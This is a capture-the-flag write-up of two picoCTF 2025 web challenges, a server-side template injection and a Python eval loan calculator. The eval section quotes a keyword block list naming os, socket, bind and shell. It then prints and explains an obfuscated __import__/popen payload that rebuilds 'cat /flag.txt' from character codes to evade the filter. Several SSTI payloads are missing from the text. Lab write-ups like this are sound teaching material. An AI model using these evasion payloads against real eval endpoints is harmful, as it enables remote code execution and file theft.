picoCTF-2025 - SSTI1 and 3v@l
SSTI1 - web
Challenge Overview
I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website .
Hint
- Server Side Template Injection
Enumeration
We try test as an input to see the output while monitoring the requests using burp suite.
The input is reflected back to us on the announcement page.
Exploitation
From the hint we know that we have to exploit a server side template injection.
Did some reading and found this perfect for getting to understand the vulnerability and example exploits.
To test for ssti we use , if it prints `49` then that confirms we have `ssti`. To identify the language we can use if we get 7777777 then it confirms that we have python and we can use a python payload.
Now that we have python let’s grab our payload.
1
This will list the files in the current directory.
For this we are interested with the flag .
3v@l - web
Challenge Overview
ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?
Additional details will be available after launching your challenge instance.
We follow the link to get this page.
The program just performs basic mathematical calculations.
Here is what we get from the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to ABC bank </title>
<link rel="stylesheet" href="/static/bootstrap.min.css">
<link rel="stylesheet" href="/static/styles.css">
</head>
<body>
<div class="container">
<h1 class="mb-4 text-center">Bank-Loan Calculator</h1>
<form method="post" action="/execute">
<div class="form-group">
<label for="code">Enter the formula:</label>
<textarea id="code" name="code" class="form-control" rows="10" cols="50" placeholder="example: PRT*RATE*TIME(10000*23*12)" required></textarea>
</div>
<button type="submit" class="btn btn-primary">Execute</button>
</form>
<div class="footer-link mt-4">
<a href="/">Go back</a>
</div>
</div>
</body>
</html>
With that let’s understand the challenge:
The server:
- Restrict dangerous keywords like os, exec, eval, socket, bind, etc.
- Prevent command injections and file access (ls, cat, shell).
- Regex Filtering, Blocking hexadecimal, Unicode, URL encoding, and directory traversal patterns.
Now that we know the flag is stored in /flag.txt, we need to bypass the security restrictions in the Flask app and extract the file contents.
Here i tried a bunch of tricks but here is the one that worked.
If this succeeds, it might reveal an os or popen class, which we can use to run commands.
Lets understand the Payload i used:
The payload:
1
__import__('o'+'s').popen(''.join(chr(x) for x in [99, 97, 116, 32, 47, 102, 108, 97, 103, 46, 116, 120, 116])).read()
This successfully bypassed security filters and executed cat /flag.txt.
Let’s break it down step by step.
1️⃣ Bypassing import os Restriction
1
__import__('o'+'s')
__import__('os')dynamically imports the os module.- Instead of “os”, we used ‘o’ + ‘s’ to evade static keyword detection.
2️⃣ Constructing the Command Without Using “cat” Directly
1
''.join(chr(x) for x in [99, 97, 116, 32, 47, 102, 108, 97, 103, 46, 116, 120, 116])
- This dynamically reconstructs the string “cat /flag.txt” using ASCII values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Char ASCII Code
c 99
a 97
t 116
(space) 32
/ 47
f 102
l 108
a 97
g 103
. 46
t 116
x 120
t 116
- Instead of writing
cat /flag.txtdirectly (which might get detected), we generate it dynamically using chr().
3️⃣ Executing the Command
1
__import__('o'+'s').popen(COMMAND).read()
- popen(COMMAND).read() executes the command in a subprocess shell and reads the output.
- Since we bypassed “cat” detection, the system executed cat /flag.txt successfully.
